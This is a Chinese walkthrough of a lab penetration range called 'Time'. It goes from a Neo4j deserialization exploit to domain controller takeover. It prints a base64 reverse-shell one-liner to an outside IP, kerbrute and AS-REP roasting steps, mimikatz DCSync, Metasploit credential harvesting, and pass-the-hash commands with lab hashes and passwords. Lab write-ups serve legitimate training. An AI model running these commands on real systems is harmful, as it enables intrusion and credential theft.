1. 靶场简介
2. 入口点:39.99.140.80
2.1端口扫描
访问7474端口,可以看到Neo4j的后台页面
使用初始密码neo4j/neo4j进行登录,获取到版本信息Version:3.4.0
2.2 Neo4j Shell Server反序列化漏洞利用
通过版本号进行搜索,获取到该系统存在反序列化漏洞:
下载漏洞利用工具对漏洞进行利用
漏洞工具:https://github.com/zwjjustdoit/CVE-2021-34371.jar
2.3 反弹shell
使用在线工具将反弹shell命令进行base64编码转换
编码网站:https://ares-x.com/tools/runtime-exec
之后在服务器开启监听,并使用漏洞利用工具反弹shell,成功拿下服务器权限
java -jar rhino_gadget.jar rmi://xx.xx.xx.xx:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTk1LjE1MC8zOTk5MSAwPiYx}|{base64,-d}|{bash,-i}"
获取第一个flag
使用find命令查找flag位置
find / -name flag*
使用cat名字查看一下flag
获得第一个flag
2.4 上传工具
对于出网的主机,我们可以使用Cobaltstrike的http服务来进行文件上传
首先先将需要使用的工具上传至cs,利用cs生成链接
之后在目标主机上使用curl命令进行下载,但发现许多目录下没有权限
切换到~目录下获取到curl命令的执行权限,直接使用curl -O命令下载工具
2.5 内网信息收集
查看本机IP地址
使用fscan直接对内网进行扫描
扫描出来的有效信息
172.22.6.25 域内主机
172.22.6.12 域控
172.22.6.36 当前主机
172.22.6.38 跑着某web服务的主机
2.6 流量代理
上传代理工具,进行反向代理后,配置profile与BurpSuite
3. web页面:172.22.6.38
3.1利用尝试
先从web进行打点,网页打开后就直接一个登录页面
使用弱口令进行尝试后没啥结果,就打算跑一下SQL注入
3.2 SQL注入
直接使用BurpSuite抓取登录包
将登陆包全部复制下来放入txt文本中,使用sqlmap的-r参数进行测试
发现SQL注入后读取数据库,得到如下信息
之后再对表格进行读取,发现有一个比较可疑的表
读列
获得第二个flag
对字段进行读取:
拿到第二个flag
3.3 数据库信息收集
通过sqlmap查询其他表,发现在oa_users这张表中存在大量域内用户信息,将数据进行导出,以备后续使用
3.4 Kerberos AS-REQ 域内用户名枚举攻击
工具如下:https://github.com/ropnop/kerbrute
这里需要在入口机上操作,工具依旧通过curl下载
./kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab email.txt
最终从256个用户中获得了33个存在的域用户,再次将这些信息进行导出,制作成字典
3.5 AS-REP Roasting攻击
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限。需要用户开启设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) ” 。
对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令。
这里用到了GetNPUsers这个工具,还是在impacket中
https://github.com/fortra/impacket
最终获得两个用户的hash
3.6 爆破Hash
这里使用到的工具和字典为
字典rockyou:https://github.com/zacheller/rockyou
爆破工具hashcat:https://hashcat.net/hashcat/
经过漫长的爆破后,最终拿到账号密码,我们可以选取任意一个登录172.22.6.25
[email protected]/strawberry
[email protected]/hellokitty
4. 远控:172.22.6.25
4.1 域内信息收集
使用BloodHound结合Sharphound对环境进行分析
参考文章:https://blog.csdn.net/qq_56426046/article/details/126854991
通过分析出来的图片可以看到,目前Win2019就是172.22.6.25,而我们需要抓取到[email protected]这个用户的密码
但是因为用户特权不够,所以不能进行令牌窃取,这里也无法使用mimikatz来获取hash
所以我们这里准备使用msf来抓取自动登录的密码
4.2 MSF抓取凭证
首先,我们需要先生成一个正向的shell,将木马丢入172.22.6.25上面运行
msfvenom -p windwos/x64/meterpreter/bind_tcp -f exe -o 1.exe
设置完成后直接开始运行,建立连接
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.6.25
run
抓取凭证
run windows/gather/credentials/windows_autologin
最终获得凭证
[+] AutoAdminLogon=1, DefaultDomain=xiaorang.lab, DefaultUser=yuxuan, DefaultPassword=Yuxuan7QbrgZ3L
4.3 使用mimikatz抓取Hash
远程登录后先查看下yuxuan在域中的权限信息,为域管理员
直接将mimikatz下载到目标服务器上
导出域内用户hash
lsadump::dcsync /domain:xiaorang.lab /user:administrator
4.4 crackmapexec工具连接
crackmapexec工具是kali中自带的一款内网渗透工具,我们使用crackmapexec工具利用smb协议直接登录到目标主机上,并查找flag文件
proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "dir /s flag*"
获取第三个flag
确定flag文件位置后,修改最后的windows命令,查看flag
proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type UsersAdministratorflagflag03.txt"
拿到第三个flag
4.5 最后一台域控
第四个flag
最后一台域控也是一样的办法,使用crackmapexec工具连接上去之后读取flag即可
proxychains crackmapexec smb 172.22.6.12 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type UsersAdministratorflagflag04.txt"
拿到第四个flag
最终成功拿下靶场
5. 坑点
遇到问题 :
入口处使用CVE-2021-34371.jar进行攻击时,一直无法上线,浪费了很多时间
解决办法:
后来发现是java版本问题,该工具只支持java8
-END-
如果本文对您有帮助,来个点赞、在看就是对我们莫大的鼓励。
推荐关注:
团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。
原文始发于微信公众号(弱口令安全实验室):春秋云境-Time打靶记录